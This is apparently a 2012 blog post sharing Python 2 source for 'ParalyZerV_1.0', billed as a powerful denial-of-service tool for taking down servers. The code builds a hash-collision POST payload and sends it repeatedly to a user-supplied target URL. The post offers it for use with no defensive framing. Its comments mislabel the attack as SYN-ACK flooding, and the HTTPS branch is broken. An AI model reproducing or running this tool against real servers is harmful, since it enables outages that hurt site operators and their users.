About Me

Monday, 14 May 2012

DoS Tool in python very powerful tool


Source Code :-

# ParalyZerV_1.0

import socket, sys, urllib, string, math, ssl

import time

import urlparse, argparse

# Date: May, 14th 2012

# Tool Name: ParalyZerV_1.0

# Version: 1.0

# Description: A simple script to take down a server with n number of SYN-ACK requests

# Usage: python ParalyZerV_1.0.py -url http://www.example.com -c COUNT

# Coded Under: Python 2.7

def main():

    print '''\n

\t####                 ##                      

\t #  #                 #                      

\t #  # ###  #### ###   #  ##  # ####  ##  ####

\t ###  ###   # # ###   #   # ## # #  ####  # #

\t #    # #   #   # #   #   # #   # # #     #  

\t###   ## # ###  ## # ###   ##  ####  ### ### 

\t                           #                 

\t                          #         \n

                .:: DENIAL OF SERVICE ::.

               

                Coder: Subir aKa Whiskey\n

                 .::COMPUTER KORNER::.\n'''

    parser = argparse.ArgumentParser(description="A Denial Of Service Tool, To Take Down Servers", prog="ParalyZeR")

    parser.add_argument("-u", "--url", help="Target URL Required", required=True)

    parser.add_argument("-c", dest="count", type=int, default=1, help="How many requests to send, Default Set To 1")

    parser.add_argument('--ver', action='version', version='Version: %(prog)s 1.0')

    options = parser.parse_args()

    url = urlparse.urlparse(options.url)

   

    if not url.scheme:

        print "#> Provide a scheme, HTTP/HTTPS..."

        sys.exit(1)

    host = url.netloc

    path = url.path

    port = url.port

    print "#> Generating Payload..."

    payload = generatePayload()

    mess = "\"I Love You and Will Always Do!\""

    print "#> Payload Generated"

   

    if not port:

        if url.scheme == "https":

            port = 443

        elif url.scheme == "http":

            port = 80

        else:

            print("#> Protocol Not Supported: %s" % url.scheme)

            sys.exit(1)

    if not path:

        path = "/"

        print "#> Target: ",host

        print "#> Set on Port: ",port

        print "#> Number Of Requests To Send: ",options.count

    try:

        for i in range(options.count):

            print "[+] Sending Request: " + str(i+1),host,port,mess

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            if url.scheme == "https":

                ssl_sock = ssl.wrap_socket(sock)

                ssl_sock.connect((host, port))

                ssl_sock.settimeout(None)

            else:

                sock.connect((host, port))

                sock.settimeout(None)

                request = """POST %s HTTP/1.1

Host: %s

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)

Content-Length: %s

%s

""" % (path, host, str(len(payload)), payload)

            if url.scheme == "https":

                ssl_sock.send(request)

            else:

                sock.send(request)

        print "[!] Requests Sent!"

        raw_input("Press Any Key To Exit")

    except:

        print "[!] Aborted!"

        raw_input("#> Press Any Key To Exit")

   

def generatePayload(): 

    # Payload Taken from:

    # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision 

    # Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)

    a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)}

    length = 7

    size = len(a)

    post = ""

    maxvaluefloat = math.pow(size,length)

    maxvalueint = int(math.floor(maxvaluefloat))

    for i in range (maxvalueint):

        inputstring = base_convert(i, size)

        result = inputstring.rjust(length, '0')

        for item in a:

            result = result.replace(item, a[item])

        post += '' + urllib.quote(result) + '=&'

    return post;

def base_convert(num, base):

    fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

    alphabet = fullalphabet[:base]

    if (num == 0):

        return alphabet[0]

    arr = []

    base = len(alphabet)

    while num:

        rem = num % base

        num = num // base

        arr.append(alphabet[rem])

    arr.reverse()

    return ''.join(arr)

if __name__ == "__main__":

    main()

2 comments:

Post a Comment